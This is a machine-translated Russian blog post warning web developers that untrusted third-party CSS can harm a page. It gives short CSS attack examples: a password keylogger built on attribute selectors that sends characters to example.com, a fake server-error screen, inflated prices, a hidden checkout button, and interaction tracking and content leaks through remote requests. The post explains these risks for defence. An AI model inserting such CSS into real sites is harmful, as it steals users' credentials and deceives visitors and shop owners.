Осмелитесь ли вы использовать CSS, написанный другими?

внешний интерфейс Ресурсы изображений React.js CSS

Добавить Автора

Blog: yeaseonzhang.github.io/

Оригинальная ссылка:Посмотреть исходный текст

предисловие

Для достижения эффективной разработки большую часть времени библиотеки/компоненты, реализованные другими, будут выбираться и использоваться в их собственных проектах, но действительно ли это безопасно?

Большинство веб-разработчиков считают, что до тех пор, пока они не используют чужиеJS, безопасность будет гарантирована. Как всем известно, «хакеры» началиCSSМанипулируйте им.

Пользователь может отключить в настройках браузераJS,ноCSSНо нет возможности отключить его.

Для начала поговорим о вреде, который может нанести использование сторонних ресурсов.

картина

<img src="https://img.com/phone.jpg">

При обращении к сторонним ресурсам изображений могут возникнуть две проблемы:

  • Недопустимый ресурс изображения.
  • Ресурсы изображения заменены

Alt text

На приведенном выше рисунке показаны возможные последствия использования сторонних изображений: даже если ресурс изображения выйдет из строя или ресурс изображения будет заменен, это повлияет только на состояние самого изображения, а не на другие части страницы.

сценарий

<script src="http://example.com/script.js"></script>

Объем скрипта не сравним с картинкой, скрипт может управлять всей страницей по своему желанию.

  • Чтение и изменение содержимого страницы
  • Следите за поведением пользователей
  • Майнинг с использованием вычислительной мощности браузера пользователя
  • использовать пользователяcookieсделать запрос и отправить ответ
  • Читать и вмешиваться в браузерыstorage
  • More

为所欲为的JS

Примечание:потому чтоlocalStorageявляется постоянным хранилищем, поэтому, еслиlocalStorageизменяются, и даже если сценарий удаляется, эти изменения остаются необратимыми.

Только в случае доверия третьей стороне вы решите загрузить сторонний скрипт для обеспечения безопасности доступа пользователей.

Давайте представим основную мысль этой статьи ---сторонний CSS.

CSS

CSSПо масштабу действия ближе кJS, потому что он также работает на всей странице, а также может дополнять частиJSоперация.

CSSСтраницы можно манипулировать следующими способами:

  • Добавляйте, удаляйте и изменяйте содержимое страницы
  • Инициировать запрос на основе содержимого страницы
  • Реагировать на взаимодействие с пользователем

а такжеJSв сравнении с,CSSЧто нельзя сделать, так это изменитьstorage, и не может использоваться для майнинга.

кейлоггер

кейлоггер, что означает, что страница записывает ввод пользователя. В настоящее время это поведение существует только при использованииReact / класс РеагироватьСтраницы в рамке.

input[type="password"][value$="p"] {
    background: url(//example.com/password?p);
}

Если поле ввода пароля, введитеpпароль в конце, инициирует//exaple.com/password?pпросить. Браузеры не запоминают по умолчаниюinputВвод поля ввода, поэтому такое поведение существует только при использованииReact / класс РеагироватьНа странице кадра два примера перехвачены ниже.

Alt text

если не используетсяReact / класс Реагироватькадр, содержимое поля ввода не будетinputотображается на ярлыкеvalueАтрибуты.

Alt text

Фотосайт используетReactкадр, содержимое поля ввода будет отображаться синхронно вinputизvalueв свойствах. такCSSселектор атрибутов[value$="p"]Пользовательский ввод может быть обнаружен, в результате чего пользовательский ввод может быть захвачен третьей стороной.

Вы прошли через этот пример и подумалиCSSГораздо мощнее, чем вы думаете, из-под контроляCSSЭто также может нанести большой вред странице.

скрытый контент

С некоторыми ухищрениями реальное содержимое страницы не отображается пользователю.

body {
    display: none;
}

html::after {
    content: 'HTTP 500 Server Error';
}

Приведенный выше пример скрывает реальный основной контент и показывает его пользователю.HTTP 500Ошибки, из-за которых пользователи ошибочно полагают, что существует проблема с сервером веб-сайта.

также может отображать любыеHTTPОшибки для пользователей, распространенные ошибки на веб-страницах:

  • HTTP 400: неверный запрос
  • HTTP 403: Нет доступа
  • HTTP 404: Страница не найдена
  • HTTP 500: Внутренняя ошибка сервера

добавить содержимое

.price-value::after {
    content: '9';
}

Alt text

Для ценового стиля увеличьте:before / :afterТакие псевдоэлементы, затем псевдоэлементыcontentДобавьте к атрибуту любую цифру, и цена товара увеличится примерно в 10 раз.

Цена на товар поднялась, и об этом не знает даже продавец. В этом случае у пользователей обычно нет желания покупать.

мобильный контент

.move-purchase-button {
    opacity: 0;
    position: absolute;
    top: 100px;
    left: 100px;
}

正常情况

按钮被移动

пройти черезopacityБудукнопка оформления заказаПрозрачность установлена ​​на 100%, чтобы скрыть элемент, сделав его невидимым для пользователя, но все еще занимающим место. А затем через абсолютное позиционирование, так чтокнопка оформления заказаПервоначально занятое пространство отделяется от обычного потока, а кнопка перемещается в положение, на которое пользователь не может нажать; то же, что и выше.CSSВы также можете использовать простойdisplay: none;чтобы скрыть кнопку.

В приведенной выше ситуации пользователи вообще не могут совершить покупку, что очень вредно для веб-сайта электронной коммерции, что приводит к «Можно только смотреть, а не покупать".

Отслеживайте взаимодействие с пользователем

.login-button:hover {
    background: url('//example.com/login-button-hover');
}
.login-button:active {
    background: url('//example.com/login-button-active');
}

С помощью приведенного выше кода его можно использовать для определения интерактивного состояния пользователя на кнопке входа в систему, котораяhoverещеactive(щелчок), разные штаты отправят разные запросы.

Если соответствующая величина увеличения страницы аналогичнаCSSкод, который можно использовать дляПортрет пользователяанализировать.

Конечно, его также можно использовать для простого встраивания ссылок, записи клика по ссылке.

.link:active::after {
    content: url('//example.com/link-1/view/count.php?action=visit');
}

читать содержимое страницы

font-face {
    font-family: blah;
    src: url(//example.com/page-contains-q) format('woff');
    unicode-range: U+71;
}

html {
    font-family: blah, sans-serif;
}

подделать шрифтblah, если на странице естьunicode-rangeСимволы в диапазоне отправят запрос на установку, в нашем примере это символq.

Примечание:@font-faceЗапрос в консоли разработчика будетNetwork -> fontтипа видел.

Возможно, вы думаете, что роль одного символа может быть обнаружена только на странице, которая мала, поэтому я познакомлю вас с новым свойством CSS.font-variant-ligaturesК этому можно отнести установленный эффект лигатуры символов.

Но в настоящее время толькоOpenTypeШрифты поддерживают эффекты лигатуры, различныеOpenTypeЛигатуры шрифтов также отображаются непоследовательно.

连字效果

多种OpenType字体

Включить эффекты лигатуры

body {
    font-feature-settings: "liga" 1;
}

supports (font-variant-ligatures: common-ligatures) {
    body {
        font-feature-settings: normal;
        font-variant-ligatures: common-ligatures;
    }
}

Как только все установлено, мы можем обнаружить определенные дефисы. НапримерffКод Юникода для лигатуры\ufb00.

unicode转换

ЗапросunicodeКакие символы соответствуют коду, вы можете передатьUnicode® character table (unicode-table.com/en/) запросить.

unicode-table.com

Суммировать

через вышеуказанноеCSSнапример, вы думаетеCSSТакже мощный, ненадежныйсторонний CSSК этому нельзя относиться легкомысленно.

Подводя итог, собственноеCSS, вы должны написать это сами. . .

Для получения дополнительной информации, пожалуйста, подпишитесь на общедоступный аккаунт нашей команды «Исследование полного стека». Будут регулярные толчки хороших статей, полных галантерейных товаров.

Категории